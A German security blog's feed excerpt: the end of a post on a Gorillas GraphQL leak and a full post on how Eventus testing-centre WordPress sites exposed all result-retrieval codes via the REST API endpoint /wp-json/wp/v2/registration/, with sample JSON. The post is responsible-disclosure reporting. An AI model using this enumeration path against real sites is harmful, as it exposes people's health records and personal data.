&lt;p&gt;Auch wir haben diese E-Mail bekommen. Leider müssen wir, trotz des guten Willens, kritisieren, dass Gorillas nicht genau benennt, welche Daten abrufbar waren. Denn wer erinnert sich schon einige Monate nach einer Bestellung von völlig normalen Alltagswaren, welche Daten beim Lieferdienst angegeben wurden?
Und auch von den Fotos von Haustüren und Klingelschildern ist kein Wort zu lesen. Das finden wir sogar noch schlimmer, weil die Kund*innen von Gorillas nicht einmal wissen, dass diese Bilder überhaupt existieren.&lt;/p&gt;
&lt;h2 id=&#34;wann-lernt-die-branche-endlich&#34;&gt;Wann lernt die Branche endlich?!?&lt;/h2&gt;
&lt;p&gt;Es ist jetzt schon das zweite Mal, dass ein Supermarklieferdienst über eine ungeschützte GraphQL-Schnittstelle stolpert.
Wir hatten ja ein wenig die Hoffnung, dass die Lücke bei Flink ein Warnschuss für alle Anbieter war, und sie in ihren eigenen System noch mal genau nachschauen, ob sie ähnliche Probleme haben.
Dass selbst bei Investitionen von dreistelligen Millionenbeträgen die IT-Sicherheit nicht ansatzweise geprüft wird&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;, überrascht uns nun ein weiteres Mal. Wir hätten erwartet, dass Investor*innen bei solchen Beträgen doch etwas mehr Sorgfalt bei der Auswahl ihrer Investitionsziele walten lassen.
Denn die Konkurrenz soll sicher auch nicht wissen, welche Produkte wo besonders gut laufen.&lt;/p&gt;
&lt;p&gt;Dabei hat IT-Sicherheit das Problem vieler Präventionsmaßnahmen:
Je besser sie ist, desto weniger sieht man ihren Nutzen.
Erst wenn das Kind in den Brunnen, oder die zerforschung in die Datenbank gefallen ist, merkt man, dass da etwas gefehlt hat.
Sobald die Brunnen und Datenbanken ausreichend gesichert sind, merkt niemand etwas davon – weil ja alles richtig, reibungslos und leise läuft.&lt;/p&gt;
&lt;p&gt;Gleichzeitig lässt sich IT-Sicherheit oft nicht so gut vermarkten wie neue Features&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt; und es fehlen auch etwas die finanziellen Anreize.
Die DSGVO erlaubt empfindliche Strafen für solche Datenschutzverletzungen.
Jetzt sind die Datenschutzbehörden an der Reihe, diese auch auszusprechen, damit Unternehmen in Zukunft noch einen Grund mehr haben, auf ihre Sicherheit zu achten.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Unsere Lieferzeiten sind länger als 10 Minuten: An solch einem Artikel sitzen wir als Kollektiv deutlich mehr als eine Woche, vom Finden der Lücken, über das Schreiben der Reports bis zur Veröffentlichung dieses Posts.
Falls er euch gefällt, &lt;a href=&#34;https://zerforschung.org/unterstuetzen&#34;&gt;könnt ihr uns gerne unterstützen&lt;/a&gt;.
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Offenlegung&lt;/strong&gt;:
Gorillas hat uns unangekündigt 15.000€ überwiesen.&lt;/p&gt;
&lt;p&gt;Wir haben weder Gorillas noch irgendein anderes Unternehmen, bei dem wir Sicherheitslücken fanden, je um Geld gebeten und werden das auch in Zukunft nicht tun. Trotzdem haben wir uns über diese Zuwendung sehr gefreut und möchten uns dafür bedanken.&lt;/p&gt;
&lt;p&gt;Die Überweisung haben wir erst nach dem Erscheinen des Artikels bemerkt und sie hat weder Einfluss auf unsere aktuelle, noch auf eventuelle zukünftige Berichterstattung über Gorillas.&lt;/p&gt;
&lt;!-- Wir haben einen relevanten Anteil dieses Geldes für die Gründung eines Betriebsrats bei Gorillas gespendet. --&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Irgendjemand, der den Wert von Unternehmen für besonders relevant hält, hat sich den Begriff &amp;ldquo;Einhorn&amp;rdquo; für Unternehmen mit einer Bewertung über 1 Milliarde Dollar ausgedacht. Gorillas ist das Unternehmen, welches aktuell in Deutschland diesen Titel am schnellsten erreicht hat.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;Ein mitmproxy ist ein Programm, mit dem man den Datenverkehr eines eigenen Geräts mitschneiden und entschlüsseln kann.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;Ja, wir haben &lt;a href=&#34;https://cdn.sanity.io/files/iuu3qva9/production/5e8a83c83729c8252f69e6dd38c2cb2a796277cd.pdf&#34;&gt;die Datenschutzerklärung&lt;/a&gt; wirklich gelesen&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;Es ist auch ein spannender Versuch in einem Land, welches sich mit Händen und Füßen nachhaltig gegen Fotos von Hausfassaden in Google Street View wehrte.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;Gorillas &lt;a href=&#34;https://apply.workable.com/gorillas/j/32175F8C91/&#34;&gt;sucht seit etwa einem Monat nach IT-Security-Leuten&lt;/a&gt;. Bisher scheinen sie noch niemanden zu haben. &lt;a href=&#34;https://apply.workable.com/gorillas/j/56285D59FA/&#34;&gt;Für Arbeitssicherheit&lt;/a&gt; übrigens auch.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;Apple zeigt gerade, dass man mit Datenschutz tatsächlich Werbung machen kann&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Corona Testzentren – Oops we did it again</title>
      <link>https://zerforschung.org/posts/eventus-testzentren/</link>
      <pubDate>Fri, 09 Apr 2021 06:00:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/eventus-testzentren/</guid>
      <description>&lt;p&gt;Wir wollten ja eigentlich nichts mehr mit Corona machen, aber dann kam ein Testzentrum dazwischen. 🙄&lt;/p&gt;
&lt;p&gt;Es begann ähnlich &lt;a href=&#34;https://zerforschung.org/posts/medicus/&#34;&gt;wie das letzte Mal&lt;/a&gt;: Ein zerforschungs-Angehöriger war beim Corona-Schnelltest und bekam danach eine E-Mail mit einem Link zu seinem Ergebnis.
Das kam ihm irgendwie fischig 🐟 vor, also haben wir uns das mal angeschaut.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;die-e-commerce-bude-macht-jetzt-auch-in-testzentren&#34;&gt;Die E-Commerce-Bude macht jetzt auch in Testzentren&lt;/h2&gt;
&lt;p&gt;Der Anbieter Eventus Media International (EMI) betreibt unter anderem in Leipzig, Berlin, Hamburg, Schwerte und Dortmund Testzentren unter der Marke &lt;code&gt;testcenter-corona.de&lt;/code&gt; und bietet Software und Infrastruktur als Franchise-Modell an.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/eventus-testzentren/eventus-dsgvo.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/eventus-testzentren/eventus-dsgvo.png&#34;
         alt=&#34;Werbetext von EMI für Franchise-Nehmer (mit markiertem &amp;#39;DSGVO-konform&amp;#39;)&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Statt die eigene Website von Grund auf selbst zu entwickeln, setzt testcenter-corona.de auf WordPress, ein weitverbreitetes Open-Source-Blog-System.
Seine große Beliebtheit hat WordPress unter anderem seiner vielseitigen Erweiterbarkeit durch Plugins zu verdanken. Diese ermöglichen es, dem System Funktionalitäten hinzuzufügen, die weit über das Veröffentlichen eines Artikels auf einem Blog hinaus gehen. In diesem Fall das Buchen von Terminen und Abrufen von Testergebnissen.&lt;/p&gt;
&lt;p&gt;Dabei haben sie erst einmal etwas richtig gemacht: Für das Abrufen der Ergebnisse werden &lt;a href=&#34;https://zerforschung.org/posts/medicus/&#34;&gt;keine aufsteigenden Nummern verwendet&lt;/a&gt;, sondern zufällige 10-stellige, alphanumerische Zeichenketten.&lt;/p&gt;
&lt;h2 id=&#34;wordpress-api&#34;&gt;WordPress-API&lt;/h2&gt;
&lt;p&gt;WordPress besitzt eine API, also eine Schnittstelle, über die viele der Inhalte einer Seite maschinenlesbar von anderen Systemen abgerufen und weiterverwendet werden können.
Diese API ermöglicht z.B. die Nutzung der WordPress-App, aber auch anderer Editoren und Anwendungen.&lt;/p&gt;
&lt;p&gt;In WordPress kann man zusätzlich zu den vorhandenen Standardtypen für Inhalte wie z.B. Blogposts, Seiten oder Kommentare eigene Inhaltstypen definieren – und &lt;a href=&#34;https://developer.wordpress.org/reference/functions/register_post_type/#show_in_rest&#34;&gt;diese &lt;strong&gt;optional&lt;/strong&gt; über die API verfügbar machen&lt;/a&gt;.
Die API ist unter &lt;code&gt;/wp-json/&lt;/code&gt; abrufbar, einzelne Posts zum Beispiel unter &lt;code&gt;/wp-json/wp/v2/posts&lt;/code&gt;.
Registriert man nun einen eigenen Inhaltstyp mit dem Namen &lt;code&gt;beispielname&lt;/code&gt; und aktiviert den Zugriff über die API, sind alle Einträge von diesem Typ unter &lt;code&gt;/wp-json/wp/v2/beispielname&lt;/code&gt; abrufbar.&lt;/p&gt;
&lt;p&gt;EMI hat für die Testzentren-Websites den eigenen Inhaltstypen &lt;code&gt;registration&lt;/code&gt; für Schnelltest-Registrierungen angelegt, welcher Terminbuchungen und Testzertifikate abbildet.&lt;/p&gt;
&lt;p&gt;Da EMI aus uns unerklärlichen Gründen die API-Zugriffsmöglichkeit für diese aktiviert hat, sind alle Registrierungen auch über diese abrufbar.&lt;/p&gt;
&lt;p&gt;Fragt man nun die Schnittstelle für Registrierungen eines Test-Zentrums an (&lt;code&gt;/wp-json/wp/v2/registration/&lt;/code&gt;), so erhält man eine Liste:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1234&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;date&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-04-10T03:45:56&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;date_gmt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-04-10T01:45:56&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;guid&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;rendered&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://[…]/registration/abcdef1234/&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;modified&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-04-10T03:45:56&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;modified_gmt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-04-10T01:45:56&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;slug&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;abcdef1234&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;status&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;publish&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ev_tc_registration&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;link&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://[…]/registration/abcdef1234/&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;rendered&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;abcdef1234&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;template&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;_links&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;self&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;href&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://[…]/wp-json/wp/v2/registration/1234&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;collection&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;href&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://[…]/wp-json/wp/v2/registration&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;about&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;href&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://[…]/wp-json/wp/v2/types/ev_tc_registration&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;wp:attachment&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;href&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://[…]/wp-json/wp/v2/media?parent=1234&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;curies&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;wp&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;href&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://api.w.org/{rel}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	                &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;templated&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	            }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	        ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	},
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;	&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;…&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Darin steht unter anderem ein 10-stelliger, alphanumerischer Code… – Moooment mal, solche Codes haben wir doch schonmal auf dieser Website gesehen. Das werden doch nicht genau die Codes zum Abruf des Testergebnisses sein, oder?&lt;/p&gt;
&lt;p&gt;Doch tatsächlich entdecken wir relativ schnell unseren eigenen Abrufcode.&lt;/p&gt;
&lt;p&gt;Wir haben also eine Liste aller Abrufcodes.
Das ist in etwa so, als würde man sich einen Safe einbauen lassen, aber den Code dann direkt daneben legen.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/eventus-testzentren/testergebnisabfrage1.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/eventus-testzentren/testergebnisabfrage1.png&#34;
         alt=&#34;Website zur Testergebnisabfrage&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Diese Abrufcodes kann man auf der Testergebnisabfrage-Seite eingeben und erhält dann ein fremdes Ergebnis. Auch hier war das Ergebnis wieder mehrstufig – zuerst eine kurze Seite, die das eigentliche Ergebnis (positiv/negativ) anzeigt und dann eine Downloadmöglichkeit für ein PDF, welches deutlich mehr Angaben enthält:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vorname&lt;/li&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Anschrift
&lt;ul&gt;
&lt;li&gt;Straße&lt;/li&gt;
&lt;li&gt;Hausnummer&lt;/li&gt;
&lt;li&gt;Postleitzahl&lt;/li&gt;
&lt;li&gt;Ort&lt;/li&gt;
&lt;li&gt;Land&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;ggf. Anschrift derzeitiger Aufentaltsort
&lt;ul&gt;
&lt;li&gt;Straße&lt;/li&gt;
&lt;li&gt;Hausnummer&lt;/li&gt;
&lt;li&gt;Postleitzahl&lt;/li&gt;
&lt;li&gt;Ort&lt;/li&gt;
&lt;li&gt;Land&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Telefonnummer&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;Test&lt;/li&gt;
&lt;li&gt;Testdatum&lt;/li&gt;
&lt;li&gt;Testergebnis&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/eventus-testzentren/testzertifikat.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/eventus-testzentren/testzertifikat.png&#34;
         alt=&#34;Geschwärztes Testzertifikat&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Betroffen waren am 6.4.2021 über 14.000 Registrierungen mit hinterlegtem Testergebnis, wie folgt auf Städte verteilt:&lt;/p&gt;
&lt;!-- TODO: zentrierung ordentlich bauen --&gt;
&lt;center&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stadt&lt;/th&gt;
&lt;th&gt;Ungefähre Anzahl&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Berlin&lt;/td&gt;
&lt;td&gt;3000&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dortmund&lt;/td&gt;
&lt;td&gt;800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hamburg&lt;/td&gt;
&lt;td&gt;3100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Leipzig&lt;/td&gt;
&lt;td&gt;5800&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Schwerte&lt;/td&gt;
&lt;td&gt;1400&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/center&gt;
&lt;p&gt;Ein im Vergleich unwichtig wirkendes Detail: Die Macher*innen scheinen kein Rate-Limiting eingebaut zu haben.
Auf die Schnittstelle hätte man eine Begrenzung legen können, wie viele Anfragen in einem definiertem Zeitraum möglich sind, um zumindest massenhafte Abfragen zu verlangsamen.&lt;/p&gt;
&lt;p&gt;Dennoch waren die Testergebnisse (positiv/negativ/noch nicht vorliegend) aller 25.000 Registrierungen abfragbar, ohne an eine solche Grenze zu stoßen.&lt;/p&gt;
&lt;h2 id=&#34;und-jetzt&#34;&gt;Und jetzt?&lt;/h2&gt;
&lt;p&gt;Weil es sich um besonders schützenswerte Daten handelt, war es uns wichtig, dass die Lücke möglichst schnell geschlossen wird. Deshalb haben wir uns auch hier wieder mit einem detailierten Aufschrieb an das BSI gewendet. Dieses hat das Problem anonymisiert an das Unternehmen weitergeleitet.&lt;/p&gt;
&lt;h1 id=&#34;reaktion-der-macherinnen&#34;&gt;Reaktion der Macher*innen&lt;/h1&gt;
&lt;p&gt;Nachdem Eventus Media International vom BSI informiert wurde, haben sie die Lücke am gleichen Tag geschlossen.
Zusätzlich wurde am nächsten Tag ein weiteres Feld beim Abruf eines Testergebnisses eingeführt. So muss jetzt nicht mehr nur der 10-stelligen Code, sondern auch Vorname, Nachname oder E-Mail-Adresse der getesteten Person eingegeben werden.
Für alle Testergebnisse, die vor dem 7.4. erstellt wurden, wurde zudem ein neuer Code generiert und per E-Mail zugesendet.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/eventus-testzentren/testergebnisabfrage2.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/eventus-testzentren/testergebnisabfrage2.png&#34;
         alt=&#34;Testergebnisabfrage mit zusätzlichem Feld als Hotfix&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Für die Veröffentlichung haben wir mit Journalist*innen des NDR, RBB und MDR zusammengearbeitet.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.tagesschau.de/investigativ/ndr/datenleck-corona-test-101.html&#34;&gt;Gegenüber diesen sagte ein Sprecher von EMI&lt;/a&gt;, dass man&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;»Testcenter, einschließlich der damit verbundenen Datenverarbeitungssysteme, mit großer Eile hochgezogen und mit versierten IT-Spezialisten zusammengearbeitet [habe] um den Kunden, die das Testangebot in Anspruch nehmen wollen, die größtmögliche Sicherheit gewährleisten zu können. […] Dass Hacker trotzdem auf einen Teil der Daten zugreifen konnten, tut uns leid, und wir entschuldigen uns bei den betroffenen Kunden.«&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Bis zur Veröffentlichung dieses Artikel wurden uns bekannte Kund*innen noch nicht über das Datenleck informiert.&lt;/p&gt;
&lt;h1 id=&#34;fazit&#34;&gt;Fazit&lt;/h1&gt;
&lt;p&gt;Das ist jetzt schon &lt;a href=&#34;https://zerforschung.org/posts/medicus/&#34;&gt;das zweite Mal&lt;/a&gt;, dass wir zufällig so ein Datenleck in Testzentrums-Software finden.&lt;/p&gt;
&lt;p&gt;Wir müssen uns an dieser Stelle leider wiederholen:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[Das] darf nicht passieren. Wirklich nicht. Wenn wir als Gesellschaft die Eindämmung der Pandemie ohnehin bereits unnötigerweise über ein Jahr hinauszögern […], dann darf es wirklich nicht dazu kommen, dass selbst die grundlegenden Rahmenbedingungen für Tests so dilettantisch erledigt werden.&lt;/p&gt;
&lt;/blockquote&gt;
